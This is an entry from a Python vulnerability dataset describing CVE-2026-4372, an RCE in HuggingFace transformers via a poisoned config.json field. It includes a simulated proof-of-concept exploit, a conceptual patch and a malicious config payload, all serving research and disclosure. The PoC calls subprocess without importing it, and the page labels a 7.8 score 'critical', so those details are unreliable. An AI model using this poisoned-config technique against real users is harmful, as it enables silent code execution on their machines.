VAITP Dataset

← Back to the dataset

CVE-2026-4372

RCE in Transformers via malicious config file during model loading.

  • CVSS 7.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

A critical remote code execution vulnerability exists in all versions of the HuggingFace transformers library prior to version 5.3.0. The vulnerability allows an attacker to craft a malicious `config.json` file containing the `_attn_implementation_internal` field set to an attacker-controlled HuggingFace Hub repository ID. When a victim loads this model using the standard `AutoModelForCausalLM.from_pretrained()` API, the library downloads and executes arbitrary Python code from the attacker's repository with the victim's full OS privileges. This issue arises due to unfiltered deserialization of configuration attributes, insufficient sanitization of internal fields, and unsandboxed execution of downloaded kernels. The vulnerability bypasses the `trust_remote_code` security mechanism, is invisible to the victim, and exploits the standard documented usage pattern, making it particularly severe. Users are advised to upgrade to version 5.3.0 or later to mitigate this issue.

CVSS base score
7.8
Published
2026-05-24
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
HuggingFace
Fixed by upgrading
Yes

Solution

Upgrade the `transformers` library to version 5.3.0 or later.

Vulnerable code sample

import os
import json
import shutil
import sys
from unittest.mock import patch

# This is a self-contained proof-of-concept demonstrating the described vulnerability.
# It simulates the attacker's setup, the victim's action, and the vulnerable library logic.

# --- Attacker's Setup (Simulated on local filesystem) ---

# 1. The malicious "kernel" repository containing the code to be executed.
# In a real attack, this would be on the HuggingFace Hub.
os.makedirs("attacker/malicious_kernel", exist_ok=True)
payload_code = """
import os
print("[!!!] PAYLOAD EXECUTED [!!!]")
print("This code is running with the victim's user privileges.")
print("Creating file 'rce_successful.txt' to prove execution...")
with open("rce_successful.txt", "w") as f:
    f.write("CVE-2026-4372 exploit was successful.")
print("Payload finished.")
"""
with open("attacker/malicious_kernel/arbitrary_code.py", "w") as f:
    f.write(payload_code)

# 2. The main model repository with the poisoned config.json file.
# This is what the victim would try to download.
os.makedirs("malicious-model", exist_ok=True)
malicious_config = {
    "model_type": "gpt2",
    "architectures": ["GPT2LMHeadModel"],
    # The vulnerable field points to the attacker's repository.
    # The library will blindly trust this internal field.
    "_attn_implementation_internal": "attacker/malicious_kernel"
}
with open("malicious-model/config.json", "w") as f:
    json.dump(malicious_config, f)

# --- VULNERABLE LIBRARY LOGIC (Simulated via a mock) ---
# This class simulates the behavior of a vulnerable `transformers` version.

class VulnerableAutoModel:
    @classmethod
    def from_pretrained(cls, model_id, trust_remote_code=False, **kwargs):
        print(f"[*] Library: Loading model '{model_id}'...")
        print(f"[*] Library: User security setting is `trust_remote_code={trust_remote_code}`.")

        config_path = os.path.join(model_id, "config.json")
        with open(config_path, 'r') as f:
            config = json.load(f)

        # VULNERABILITY: The library checks for an internal, undocumented field
        # and acts upon it without proper sanitization or security checks.
        if "_attn_implementation_internal" in config:
            kernel_repo_id = config["_attn_implementation_internal"]
            print(f"[!] VULNERABILITY: Found `_attn_implementation_internal` field.")
            print(f"[!] VULNERABILITY: Bypassing `trust_remote_code` and loading from '{kernel_repo_id}'.")

            # The library now downloads and executes code from the attacker's repo.
            # This happens unsandboxed and is invisible to the user.
            # (Simulating download by using the local path).
            code_path = os.path.join(kernel_repo_id, "arbitrary_code.py")
            print(f"[*] Library: Executing code from '{code_path}'...")

            # In a real scenario, this might use `importlib` or `exec`.
            # We use `subprocess` to safely demonstrate arbitrary code execution.
            subprocess.run([sys.executable, code_path], check=True)

        print("[*] Library: Model loading would continue here.")
        # Return a dummy object to simulate a successful model load.
        return "SimulatedModelObject"

# --- Victim's Code ---
# The victim uses the standard API, believing `trust_remote_code=False` is a safeguard.

print("--- VICTIM'S ACTION ---")
print("Attempting to load a model from the Hub...")

try:
    # We use `patch` to replace the real `AutoModelForCausalLM` with our
    # vulnerable simulation for this demonstration.
    with patch('transformers.AutoModelForCausalLM', VulnerableAutoModel):
        from transformers import AutoModelForCausalLM

        model = AutoModelForCausalLM.from_pretrained(
            'malicious-model',          # The attacker's model
            trust_remote_code=False     # The victim's attempt to be secure, which is bypassed.
        )
    print("\n--- VICTIM'S PERSPECTIVE ---")
    if os.path.exists("rce_successful.txt"):
        print("[SUCCESS] The RCE was successful. The file 'rce_successful.txt' was created.")
    else:
        print("[FAILURE] The exploit did not seem to work.")

finally:
    # --- Cleanup ---
    print("\n--- Cleaning up created files and directories ---")
    shutil.rmtree("malicious-model", ignore_errors=True)
    shutil.rmtree("attacker", ignore_errors=True)
    if os.path.exists("rce_successful.txt"):
        os.remove("rce_successful.txt")
    print("Cleanup complete.")

Patched code sample

# This is a conceptual Python example demonstrating the logic of the fix for the
# described vulnerability (CVE-2026-4372), not the literal production code.
# The actual fix is integrated within the transformers library's loading mechanisms.

def from_pretrained(config_dict: dict, *, trust_remote_code: bool = False):
    """
    A simplified function representing AutoModel.from_pretrained() containing the fix.

    The vulnerability was that the check for `trust_remote_code` was missing
    when processing certain internal keys from a model's config.json.
    """
    # A set of internal keys known to be abusable for remote code execution.
    # In a real scenario, this would be maintained by the library developers.
    DANGEROUS_INTERNAL_KEYS = {"_attn_implementation_internal"}

    # Identify if any dangerous keys are present in the provided configuration.
    found_dangerous_keys = DANGEROUS_INTERNAL_KEYS.intersection(config_dict.keys())

    # --- START OF THE FIX ---
    # The fix ensures that if any of these dangerous keys are found, the execution
    # is halted unless the user has explicitly opted-in by setting
    # `trust_remote_code=True`. This re-enforces the security boundary that was
    # previously bypassed.
    if found_dangerous_keys and not trust_remote_code:
        raise ValueError(
            f"The model configuration contains the following private keys: "
            f"{', '.join(found_dangerous_keys)}. These keys can be used to execute "
            "arbitrary code on your machine. To load this model, you must explicitly "
            "set `trust_remote_code=True`."
        )
    # --- END OF THE FIX ---

    # If the check passes, the model loading process can safely continue.
    # This part of the code is only reached if:
    # 1. No dangerous keys were found in the config.
    # 2. Dangerous keys were found, but the user explicitly set `trust_remote_code=True`.
    print("Configuration validated. Proceeding with model loading...")
    # ... (rest of the model loading logic would go here)
    return "Model loading process initiated."


# --- DEMONSTRATION ---

# 1. Define a malicious configuration, as described in the vulnerability.
malicious_config = {
    "model_type": "gpt2",
    "_attn_implementation_internal": "attacker/malicious-code-repo",
    "other_config_options": "..."
}

# 2. Attempt to load the model using the default, safe setting (trust_remote_code=False).
print("Attempting to load with malicious config and default settings...")
try:
    from_pretrained(malicious_config)
except ValueError as e:
    # The patched code successfully blocks the attempt and informs the user.
    print(f"\nSUCCESSFULLY BLOCKED: The vulnerability was mitigated.\nDetails: {e}\n")

# 3. To show the full logic, we now load it with user consent.
# The vulnerable version would have done this automatically without asking.
print("Attempting to load with malicious config and explicit user trust...")
from_pretrained(malicious_config, trust_remote_code=True)

Payload

{
  "model_type": "llama",
  "architectures": [
    "LlamaForCausalLM"
  ],
  "_attn_implementation_internal": "attacker/malicious-repo",
  "torch_dtype": "float16",
  "bos_token_id": 1,
  "eos_token_id": 2
}

Cite this entry

@misc{vaitp:cve20264372,
  title        = {{RCE in Transformers via malicious config file during model loading.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-4372},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-4372/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::